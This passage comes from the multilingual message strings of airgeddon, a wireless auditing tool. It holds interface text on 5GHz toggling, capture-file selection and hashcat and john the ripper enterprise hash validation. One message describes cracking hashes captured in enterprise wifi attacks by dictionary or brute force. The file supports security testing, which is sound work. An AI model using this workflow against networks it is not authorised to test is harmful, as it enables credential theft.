продолжить? \${normal_color}\${visual_choice}" arr["GREEK",596]="\${blue_color}Το 5Ghz πρόκειται να απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",596]="\${blue_color}5Ghz verrà disattivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",596]="\${blue_color}5Ghz zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",596]="\${blue_color}5Ghz wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",596]="\${blue_color}5Ghz devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",596]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل 5 جيجا هرتز\${normal_color}" arr["CHINESE",596]="\${blue_color}5Ghz 将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",597]="\${blue_color}5Ghz will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",597]="\${blue_color}Se va a habilitar 5Ghz. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",597]="\${blue_color}On va permettre 5Ghz. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",597]="\${blue_color}Es va a habilitar 5Ghz. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",597]="\${blue_color}Isso habilitará a banda de 5Ghz. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",597]="\${blue_color}5Ghz будет включено. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",597]="\${blue_color}Το 5Ghz πρόκειται να ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",597]="\${blue_color}5Ghz verrà attivato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",597]="\${blue_color}5Ghz zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",597]="\${blue_color}5Ghz wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",597]="\${blue_color}5Ghz etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",597]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل 5 جيجا هرتز\${normal_color}" arr["CHINESE",597]="\${blue_color}5Ghz 将启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",598]="5Ghz has been disabled" arr["SPANISH",598]="Se ha deshabilitado 5Ghz" arr["FRENCH",598]="5Ghz a été désactivée" arr["CATALAN",598]="S'ha desactivat 5Ghz" arr["PORTUGUESE",598]="A banda de 5Ghz foi desativa" arr["RUSSIAN",598]="5Ghz отключено" arr["GREEK",598]="Το 5Ghz απενεργοποιήθηκε" arr["ITALIAN",598]="5Ghz è stato disattivato" arr["POLISH",598]="5Ghz zostało wyłączone" arr["GERMAN",598]="5Ghz wurde deaktiviert" arr["TURKISH",598]="5Ghz devre dışı bırakıldı" arr["ARABIC",598]="تم تعطيل 5 جيجا هرتز" arr["CHINESE",598]="5Ghz 已禁用" arr["ENGLISH",599]="5Ghz has been enabled" arr["SPANISH",599]="Se ha activado 5Ghz" arr["FRENCH",599]="5Ghz a été activée" arr["CATALAN",599]="S'ha activat 5Ghz" arr["PORTUGUESE",599]="A banda de 5Ghz foi ativa" arr["RUSSIAN",599]="5Ghz включено" arr["GREEK",599]="Το 5Ghz ενεργοποιήθηκε" arr["ITALIAN",599]="5Ghz è stato attivato" arr["POLISH",599]="5Ghz zostało włączone" arr["GERMAN",599]="5Ghz wurde aktiviert" arr["TURKISH",599]="5Ghz etkinleştirildi" arr["ARABIC",599]="تم تفعيل 5 جيجا هرتز" arr["CHINESE",599]="5Ghz 已启用" arr["ENGLISH",600]="You already have selected a capture file during this session [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["SPANISH",600]="Ya tienes seleccionado un fichero de captura en esta sesión [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["FRENCH",600]="Vous avez déjà sélectionné un fichier de capture pour cette session \${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["CATALAN",600]="Ja tens seleccionat un fitxer de captura en aquesta sessió [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["PORTUGUESE",600]="Você selecionou um arquivo de captura nesta sessão [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["RUSSIAN",600]="Вы уже выбрали файл захвата во время этой сессии [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["GREEK",600]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["ITALIAN",600]="È stato selezionato un file di cattura in questa sessione [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["POLISH",600]="W tej sesji wybrano już plik przechwytywania [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["GERMAN",600]="Sie haben bereits eine Capture-Datei in dieser Sitzung ausgewählt [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["TURKISH",600]="Bu oturumda zaten bir yakalama dosyası seçtiniz [\${normal_color} \${hashcatenterpriseenteredpath}\${blue_color}]" arr["ARABIC",600]="[\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}] لقد قمت بتحديد ملف الالتقاط أثناء هذه الدورة" arr["CHINESE",600]="您已经在此会话期间选择了一个捕获文件 [\${normal_color}\${hashcatenterpriseenteredpath}\${blue_color}]" arr["ENGLISH",601]="Selected file has an invalid hashcat enterprise hashes format" arr["SPANISH",601]="El fichero seleccionado no tiene un formato válido de hashes enterprise para hashcat" arr["FRENCH",601]="Le fichier sélectionné n'a pas un format de hashes d'enterprise valide pour hashcat" arr["CATALAN",601]="El fitxer seleccionat no té un format vàlid de hash enterprise per hashcat" arr["PORTUGUESE",601]="O arquivo selecionado não possui um formato de hashes enterprise válidas para o hashcat" arr["RUSSIAN",601]="Выбранный файл имеет недопустимый формат хеша enterprise для hashcat" arr["GREEK",601]="Το επιλεγμένο αρχείο δεν έχει έγκυρο hashcat enterprise hash format" arr["ITALIAN",601]="Il file selezionato non ha un hash valido in formato enterprise per hashcat" arr["POLISH",601]="Wybrany plik ma nieprawidłowy format hash korporacyjnego dla hashcat" arr["GERMAN",601]="Die ausgewählte Datei hat kein gültiges Enterprise-Hashformat für hashcat" arr["TURKISH",601]="Seçilen dosya hashcat için geçerli bir enterprise hash biçimine sahip değil" arr["ARABIC",601]="Enterprise hashcat يحتوي الملف المحدد على تنسيق تجزئة غير صالح ل" arr["CHINESE",601]="所选文件的 hashcat 企业级加密的哈希格式无效" arr["ENGLISH",602]="Selected file has a valid hashcat enterprise hashes format" arr["SPANISH",602]="El fichero seleccionado tiene un formato válido de hashes enterprise para hashcat" arr["FRENCH",602]="Le fichier sélectionné a un format de hashes d'enterprise valide pour hashcat" arr["CATALAN",602]="El fitxer seleccionat té un format vàlid de hashes enterprise per hashcat" arr["PORTUGUESE",602]="O arquivo selecionado possui um formato de hashes enterprise válidas para o hashcat" arr["RUSSIAN",602]="Выбранный файл имеет правильный формат хеша enterprise для hashcat" arr["GREEK",602]="Το επιλεγμένο αρχείο έχει έγκυρο hashcat enterprise hash format" arr["ITALIAN",602]="Il file selezionato ha un hash valido in formato enterprise per hashcat" arr["POLISH",602]="Wybrany plik ma poprawny format hash korporacyjnego dla hashcat" arr["GERMAN",602]="Die ausgewählte Datei hat ein gültiges Enterprise-Hashformat für hashcat" arr["TURKISH",602]="Seçilen dosyanın geçerli bir hashcat enterprise karma biçimi var" arr["ARABIC",602]="Enterprise hashcat يحتوي الملف المحدد على تنسيق تجزئة صالح ل" arr["CHINESE",602]="所选文件具有有效的 hashcat 企业级加密的哈希格式" arr["ENGLISH",603]="Selected hashcat enterprise hashes file: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["SPANISH",603]="Fichero de hashes enterprise de hashcat seleccionado: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["FRENCH",603]="Fichier de hashes enterprise de hashcat sélectionné: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["CATALAN",603]="Fitxer de hashes enterprise de hashcat seleccionat: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["PORTUGUESE",603]="Arquivo de hashes enterprise do hashcat selecionado: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["RUSSIAN",603]="Выбранный файл хешей hashcat enterprise: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["GREEK",603]="Επιλεγμένο αρχείο hashes του hashcat enterprise: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["ITALIAN",603]="File di hash enterprise di hashcat selezionato: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["POLISH",603]="Wybrano plik hashów hashcat enterprise: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["GERMAN",603]="Ausgewählte Hash-Datei von hashcat enterprise: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["TURKISH",603]="Seçili hashcat enterprise hash dosyası: \${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["ARABIC",603]="\${pink_color}\${hashcatenterpriseenteredpath}\${blue_color} :تم اختيار ملف تجزئات hashcat enterprise\${normal_color}" arr["CHINESE",603]="已选择 hashcat enterprise 哈希文件:\${pink_color}\${hashcatenterpriseenteredpath}\${normal_color}" arr["ENGLISH",604]="Selected hashcat enterprise hashes file: \${pink_color}None\${normal_color}" arr["SPANISH",604]="Fichero de hashes enterprise de hashcat seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",604]="Fichier de hashes enterprise de hashcat sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",604]="Fitxer de hashes enterprise de hashcat seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",604]="Arquivo de hashes enterprise do hashcat selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",604]="Выбранный файл хешей hashcat enterprise: \${pink_color}Файл не выбран\${normal_color}" arr["GREEK",604]="Επιλεγμένο αρχείο hashes του hashcat enterprise: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",604]="File di hash enterprise di hashcat selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",604]="Wybrano plik hashów hashcat enterprise: \${pink_color}Brak\${normal_color}" arr["GERMAN",604]="Ausgewählte Hash-Datei von hashcat enterprise: \${pink_color}Keine\${normal_color}" arr["TURKISH",604]="Seçili hashcat enterprise hash dosyası: \${pink_color}None\${normal_color}" arr["ARABIC",604]="\${pink_color}None\${blue_color} :تم اختيار ملف التجزئات hashcat enterprise\${normal_color}" arr["CHINESE",604]="已选择 hashcat enterprise 哈希文件:\${pink_color}None\${normal_color}" arr["ENGLISH",605]="Selected john the ripper enterprise hashes file: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["SPANISH",605]="Fichero de hashes enterprise de john the ripper seleccionado: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["FRENCH",605]="Fichier de hashes enterprise de john the ripper sélectionné: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["CATALAN",605]="Fitxer de hashes enterprise de john the ripper seleccionat: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["PORTUGUESE",605]="Arquivo de hashes enterprise do john the ripper selecionado: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["RUSSIAN",605]="Выбранный файл хешей john the ripper enterprise: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["GREEK",605]="Επιλεγμένο αρχείο hashes του john the ripper enterprise: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["ITALIAN",605]="File di hash enterprise di john the ripper selezionato: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["POLISH",605]="Wybrano plik hashów john the ripper enterprise: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["GERMAN",605]="Ausgewählte Hash-Datei von john the ripper enterprise: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["TURKISH",605]="Seçili john the ripper enterprise hash dosyası: \${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["ARABIC",605]="\${pink_color}\${jtrenterpriseenteredpath}\${blue_color} :تم اختيار ملف التجزئات john the ripper enterprise\${normal_color}" arr["CHINESE",605]="已选择 john the ripper enterprise 哈希文件:\${pink_color}\${jtrenterpriseenteredpath}\${normal_color}" arr["ENGLISH",606]="Selected john the ripper enterprise hashes file: \${pink_color}None\${normal_color}" arr["SPANISH",606]="Fichero de hashes enterprise de john the ripper seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",606]="Fichier de hashes enterprise de john the ripper sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",606]="Fitxer de hashes enterprise de john the ripper seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",606]="Arquivo de hashes enterprise do john the ripper selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",606]="Выбранный файл хешей john the ripper enterprise: \${pink_color}Файл не выбран\${normal_color}" arr["GREEK",606]="Επιλεγμένο αρχείο hashes του john the ripper enterprise: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",606]="File di hash enterprise di john the ripper selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",606]="Wybrano plik hashów john the ripper enterprise: \${pink_color}Brak\${normal_color}" arr["GERMAN",606]="Ausgewählte Hash-Datei von john the ripper enterprise: \${pink_color}Keine\${normal_color}" arr["TURKISH",606]="Seçili john the ripper enterprise hash dosyası: \${pink_color}None\${normal_color}" arr["ARABIC",606]="\${pink_color}None\${blue_color} :تم اختيار ملف التجزئات john the ripper enterprise\${normal_color}" arr["CHINESE",606]="已选择 john the ripper enterprise 哈希文件: \${pink_color}None\${normal_color}" arr["ENGLISH",607]="Selected file has an invalid john the ripper enterprise hashes format" arr["SPANISH",607]="El fichero seleccionado no tiene un formato válido de hashes enterprise para john the ripper" arr["FRENCH",607]="Le fichier sélectionné n'a pas un format de hashes d'entreprise valide pour john the ripper" arr["CATALAN",607]="El fitxer seleccionat no té un format vàlid de hashes enterprise per john the ripper" arr["PORTUGUESE",607]="O arquivo selecionado não possui um formato de hashes enterprise válidas para o john the ripper" arr["RUSSIAN",607]="Выбранный файл имеет недопустимый формат хеша enterprise для john the ripper" arr["GREEK",607]="Το επιλεγμένο αρχείο δεν έχει έγκυρο john the ripper enterprise hash format" arr["ITALIAN",607]="Il file selezionato non ha un hash valido in formato enterprise per john the ripper" arr["POLISH",607]="Wybrany plik ma poprawny format hash korporacyjnego dla john the ripper" arr["GERMAN",607]="Die ausgewählte Datei hat kein gültiges Enterprise-Hashformat für john the ripper" arr["TURKISH",607]="Seçilen dosyanın geçersiz bir john the ripper enterprise hash biçimi var" arr["ARABIC",607]="غير صالح john the ripper enterprise يحتوي الملف المحدد على تنسيق تجزئات" arr["CHINESE",607]="所选文件的 john the ripper 企业级加密哈希格式无效" arr["ENGLISH",608]="Selected file has a valid john the ripper enterprise hashes format" arr["SPANISH",608]="El fichero seleccionado tiene un formato válido de hashes enterprise para john the ripper" arr["FRENCH",608]="Le fichier sélectionné a un format de hashes d’entreprise valide pour john the ripper" arr["CATALAN",608]="El fitxer seleccionat té un format vàlid de hashes enterprise per john the ripper" arr["PORTUGUESE",608]="O arquivo selecionado possui um formato de hashes enterprise válidas para o john the ripper" arr["RUSSIAN",608]="Выбранный файл имеет правильный формат хеша enterprise для john the ripper" arr["GREEK",608]="Το επιλεγμένο αρχείο έχει έγκυρο john the ripper enterprise hash format" arr["ITALIAN",608]="Il file selezionato ha un hash valido in formato enterprise per john the ripper" arr["POLISH",608]="Wybrany plik ma poprawny format hash korporacyjnego dla john the ripper" arr["GERMAN",608]="Die ausgewählte Datei hat ein gültiges Enterprise-Hashformat für john the ripper" arr["TURKISH",608]="Seçilen dosyanın geçerli bir john the ripper enterprise hash biçimi var" arr["ARABIC",608]="صالح john the ripper enterprise يحتوي الملف المحدد على تنسيق تجزئات" arr["CHINESE",608]="所选文件具有有效的 john the ripper 企业级加密的哈希格式" arr["ENGLISH",609]="You already have selected a capture file during this session [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["SPANISH",609]="Ya tienes seleccionado un fichero de captura en esta sesión [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["FRENCH",609]="Vous avez déjà sélectionné un fichier de capture pour cette session \${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["CATALAN",609]="Ja tens seleccionat un fitxer de captura en aquesta sessió [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["PORTUGUESE",609]="Você selecionou um arquivo de captura nesta sessão [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["RUSSIAN",609]="Вы уже выбрали файл захвата во время этой сессии [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["GREEK",609]="Έχετε ήδη επιλέξει κάποιο αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["ITALIAN",609]="È stato selezionato un file di cattura in questa sessione [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["POLISH",609]="W tej sesji wybrano już plik przechwytywania [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["GERMAN",609]="Sie haben bereits eine Capture-Datei in dieser Sitzung ausgewählt [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["TURKISH",609]="Bu oturumda zaten bir yakalama dosyası seçtiniz [\${normal_color} \${jtrenterpriseenteredpath}\${blue_color}]" arr["ARABIC",609]="[\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}] لقد قمت بتحديد ملف الالتقاط أثناء هذه الدورة" arr["CHINESE",609]="您已经在此会话期间选择了一个捕获文件 [\${normal_color}\${jtrenterpriseenteredpath}\${blue_color}]" arr["ENGLISH",610]="Hashes obtained during an enterprise wifi network attack can be also decrypted using john the ripper tool. Dictionary or bruteforce attacks can be performed from airgeddon menus" arr["SPANISH",610]="También se puede usar john the ripper para descifrar los hashes obtenidos en un ataque a una red wifi enterprise. Ataques de diccionario o por fuerza bruta pueden ser usados desde los menús de airgeddon" arr["FRENCH",610]="Aussi c'est possible utiliser john the ripper pour déchiffrer les hashes obtenus lors d'une attaque contre un réseau wifi d'entreprise. Les attaques de dictionnaire ou la force brute peuvent être utilisées à partir des menus d'airgeddon" arr["CATALAN",610]="També es pot utilitzar john the ripper per desxifrar els hashes obtinguts en un atac a una xarxa wifi enterprise. Atacs de diccionari o per força bruta poden ser usats des dels menús de airgeddon" arr["PORTUGUESE",610]="Você também pode usar o john the ripper para descriptografar as hashes obtidas em um ataque a uma rede wifi enterprise. Ataques de dicionário ou força bruta, podem ser usados nos menus do airgeddon" arr["RUSSIAN",610]="Хэши, полученные во время атаки на корпоративную сеть wifi, также могут быть расшифрованы с помощью инструмента john the ripper. Атаки по словарю или грубой силой можно использовать из меню airgeddon" arr["GREEK",610]="Τα hashes που καταγράφηκαν κατά τη διάρκεια κάποιας επίθεσης enterprise wifi δικτύου μπορούν επίσης να αποκρυπτογραφηθούν χρησιμοποιώντας το εργαλείο john the ripper. Μπορεί να πραγματοποιηθεί επίθεση με λεξικό ή bruteforce επιλέγοντας κάποια από τα δύο το μενού του airgeddon" arr["ITALIAN",610]="È anche possibile utilizzare john the ripper per decifrare gli hash ottenuti in un attacco a una rete wifi enterprise. Gli attacchi di dizionario o forza bruta, possono essere utilizzati dai menu di airgeddon" arr["POLISH",610]="Możesz również użyć john the ripper aby złamać hasze uzyskane podczas ataku na firmową sieć wifi. Ataki słownikowe lub bruteforce mogą być wykonane z menu airgeddon" arr["GERMAN",610]="Sie können auch john the ripper verwenden, um die Hashes, die auf ein WLAN-Enterprise Netzwerk erhalten wurden, zu entschlüsseln. Wörterbuchangriffe oder Brute Force Angriffe können aus den Menüs von airgeddon verwendet werden" arr["TURKISH",610]="Bir kurumsal wifi ağına yapılan saldırıda elde edilen hash şifresini çözmek için john the ripper'i kullanabilirsiniz. Dictionary veya bruteforce saldırıları airgeddon menülerinden kullanılabilir" arr["ARABIC",610]="airgeddon من قوائم bruteforce يمكن تنفيذ هجمات القاموس أو .john the ripper باستخدام أداة enterprise wifi يمكن أيضًا فك تشفير التجزئة التي تم الحصول عليها أثناء هجوم على شبكة" arr["CHINESE",610]="在企业级加密的 wifi 网络攻击期间获得的哈希值也可以使用 john the ripper 工具解密。从 airgeddon 菜单执行字典或暴力攻击" arr["ENGLISH",611]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${jtr_potpath}]" arr["SPANISH",611]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${jtr_potpath}]" arr["FRENCH",611]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${jtr_potpath}]" arr["CATALAN",611]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${jtr_potpath}]" arr["PORTUGUESE",611]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${jtr_potpath}]" arr["RUSSIAN",611]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${jtr_potpath}]" arr["GREEK",611]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${jtr_potpath}]" arr["ITALIAN",611]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default \${normal_color}[\${jtr_potpath}]" arr["POLISH",611]="Wpisz ścieżkę do zapisu pliku lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${jtr_potpath}]" arr["GERMAN",611]="Geben Sie den Pfad ein wo die Datei gespeichert werden soll, oder drücken Sie die [Enter], um den Standardvorschlag zu akzeptieren \${normal_color}[\${jtr_potpath}]" arr["TURKISH",611]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın. \${normal_color}[\${jtr_potpath}]" arr["ARABIC",611]="\${normal_color}[\${jtr_potpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على\${normal_color}" arr["CHINESE",611]="请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${jtr_potpath}]" arr["ENGLISH",612]="No enterprise networks found" arr["SPANISH",612]="No se encontraron redes enterprise" arr["FRENCH",612]="Aucun réseau enterprise détecté" arr["CATALAN",612]="No s'han trobat xarxes enterprise" arr["PORTUGUESE",612]="Nenhuma rede enterprise encontrada" arr["RUSSIAN",612]="Сети enterprise не найдены" arr["GREEK",612]="Δεν βρέθηκαν enterprise δίκτυα" arr["ITALIAN",612]="Nessuna rete enterprise trovata" arr["POLISH",612]="Nie znaleziono sieci enterprise" arr["GERMAN",612]="Keine Enterprise-Netzwerke gefunden" arr["TURKISH",612]="Herhangi enterprise bir ağ bulunamadı" arr["ARABIC",612]="Enterprise لم يتم العثور على شبكات" arr["CHINESE",612]="未找到企业级加密的无线网络" arr["ENGLISH",613]="Warning. Please check \${rc_path} file or command line flags. Invalid value on \${normal_color}\${error_var_name}\${yellow_color} variable. The default value \${normal_color}\${error_var_default_value}\${yellow_color} will be used" arr["SPANISH",613]="Atención. Por favor revisa el fichero \${rc_path}. El valor de la variable \${normal_color}\${error_var_name}\${yellow_color} no es válido. El valor por defecto \${normal_color}\${error_var_default_value}\${yellow_color} será usado" arr["FRENCH",613]="Attention. Veuillez vérifier le fichier \${rc_path} ou les flags sur ligne de commande. La variable \${normal_color}\${error_var_name}\${yellow_color} a une valeur non valide. La valeur par défaut \${normal_color}\${error_var_default_value}\${yellow_color} sera utilisée" arr["CATALAN",613]="Atencio. Comprova el fitxer de \${rc_path}. Valor no vàlid a la variable \${normal_color}\${error_var_name}\${yellow_color}. S'utilitzarà el valor predeterminat \${normal_color}\${error_var_default_value}\${yellow_color}" arr["PORTUGUESE",613]="Aviso: Por favor, verifique o arquivo \${rc_path} ou os argumentos na linha de comando. Valor inválido na variável \${normal_color}\${error_var_name}\${yellow_color}. O valor padrão \${normal_color}\${error_var_default_value}\${yellow_color} será usado" arr["RUSSIAN",613]="Предупреждение. Пожалуйста, проверьте файл \${rc_path} или флаги командной строки. Недопустимое значение переменной \${normal_color}\${error_var_name}\${yellow_color}. Будет использовано значение по умолчанию \${normal_color}\${error_var_default_value}\${yellow_color}" arr["GREEK",613]="Προειδοποίηση. Ελέγξτε το αρχείο \${rc_path} ή τα flags της γραμμής εντολών. Βρέθηκε μη έγκυρη τιμή για τη μεταβλητή \${normal_color}\${error_var_name}\${yellow_color}. Θα χρησιμοποιηθεί η προεπιλεγμένη τιμή \${normal_color}\${error_var_default_value}\${yellow_color}" arr["ITALIAN",613]="Attenzione. Controlla il file \${rc_path} o i flag della linea di comando. Il valore della variabile \${normal_color}\${error_var_name}\${yellow_color} non è valido. Verrà utilizzato il valore predefinito \${normal_color}\${error_var_default_value}\${yellow_color}" arr["POLISH",613]="Ostrzeżenie! Sprawdź plik \${rc_path} lub parametry linii poleceń. Niepoprawna wartość zmiennej \${normal_color}\${error_var_name}\${yellow_color}. Użyta zostanie wartość domyślna \${normal_color}\${error_var_default_value}\${yellow_color}" arr["GERMAN",613]="Achtung. Bitte überprüfen Sie \${rc_path}. Ungültiger Wert für die Variable \${normal_color}\${error_var_name}\${yellow_color}. \${normal_color}\${error_var_default_value}\${yellow_color} wird verwendet" arr["TURKISH",613]="Uyarı. Lütfen \${rc_path} dosyasını veya komut satırı bayraklarını kontrol edin. \${normal_color}\${error_var_name}\${yellow_color} değişkeninde geçersiz değer. \${normal_color}\${error_var_default_value}\${yellow_color} varsayılan değeri kullanılacak" arr["ARABIC",613]="\${normal_color}\${error_var_default_value}\${yellow_color} سيتم استخدام القيمة الافتراضية .\${normal_color}\${error_var_name}\${yellow_color} أو أعلام سطر الأوامر.هناك قيمة غير صالحة في متغير \${rc_path} تحذير. يرجى التحقق من ملف" arr["CHINESE",613]="警告。请检查 \${rc_path} 文件或命令行标志。 \${normal_color}\${error_var_name}\${yellow_color} 变量的值无效。将使用默认值 \${normal_color}\${error_var_default_value}\${yellow_color}" arr["ENGLISH",614]="Warning. Please check \${rc_path} file. Configuration variable \${normal_color}\${error_var_name}\${yellow_color} not found. The default value \${normal_color}\${error_var_default_value}\${yellow_color} will be used" arr["SPANISH",614]="Atención. Por favor revisa el fichero \${rc_path}. No se ha encontrado la variable \${normal_color}\${error_var_name}\${yellow_color}. El valor por defecto \${normal_color}\${error_var_default_value}\${yellow_color} será usado" arr["FRENCH",614]="Attention. Veuillez vérifier le fichier \${rc_path}. La variable de configuration \${normal_color}\${error_var_name}\${yellow_color} introuvable. \${normal_color}\${error_var_default_value}\${yellow_color} sera utilisé" arr["CATALAN",614]="Atencio. Si us plau, comprova el fitxer \${rc_path}. No s'ha trobat la variable de configuració \${normal_color}\${error_var_name}\${yellow_color}. S'utilitzarà \${normal_color}\${error_var_default_value}\${yellow_color}" arr["PORTUGUESE",614]="Aviso: Por favor, verifique o arquivo \${rc_path}. Variável de configuração \${normal_color}\${error_var_name}\${yellow_color} não encontrada. \${normal_color}\${error_var_default_value}\${yellow_color} será usado" arr["RUSSIAN",614]="Предупреждение. Пожалуйста, проверьте файл \${rc_path}. Конфигурационная переменная \${normal_color}\${error_var_name}\${yellow_color} не найдена. Будет использоваться значение по умолчанию \${normal_color}\${error_var_default_value}\${yellow_color}" arr["GREEK",614]="Προειδοποίηση. Ελέγξτε το αρχείο \${rc_path}. Η μεταβλητή για το configuration \${normal_color}\${error_var_name}\${yellow_color} δεν βρέθηκε. Θα χρησιμοποιηθεί η προεπιλεγμένη τιμή \${normal_color}\${error_var_default_value}\${yellow_color}" arr["ITALIAN",614]="Attenzione. Per favore controlla il file \${rc_path}. La variabile di configurazione \${normal_color}\${error_var_name}\${yellow_color} non è stata trovata. Verrà utilizzado il valore predefinito \${normal_color}\${error_var_default_value}\${yellow_color}" arr["POLISH",614]="Uwaga! Sprawdź plik \${rc_path}. Nie znaleziono zmiennej \${normal_color}\${error_var_name}\${yellow_color}. Użyta zostanie wartość domyślna \${normal_color}\${error_var_default_value}\${yellow_color}" arr["GERMAN",614]="Achtung. Bitte überprüfen Sie die \${rc_path}-Datei. Die Konfigurationsvariable \${normal_color}\${error_var_name}\${yellow_color} wurde nicht gefunden. \${normal_color}\${error_var_default_value}\${yellow_color} wird verwendet" arr["TURKISH",614]="Uyarı! Lütfen \${rc_path} dosyasını kontrol edin. Yapılandırma değişkeni \${normal_color}\${error_var_name}\${yellow_color} bulunamadı. \${normal_color}\${error_var_default_value}\${yellow_color} varsayılan değeri kullanılmak istiyor" arr["ARABIC",614]="\${normal_color}\${error_var_default_value}\${yellow_color} غير موجود. سيتم استخدام القيمة الافتراضية \${normal_color}\${error_var_name}\${yellow_color} \${rc_path} تحذير. يرجى التحقق من ملف" arr["CHINESE",614]="警告。请检查 \${rc_path} 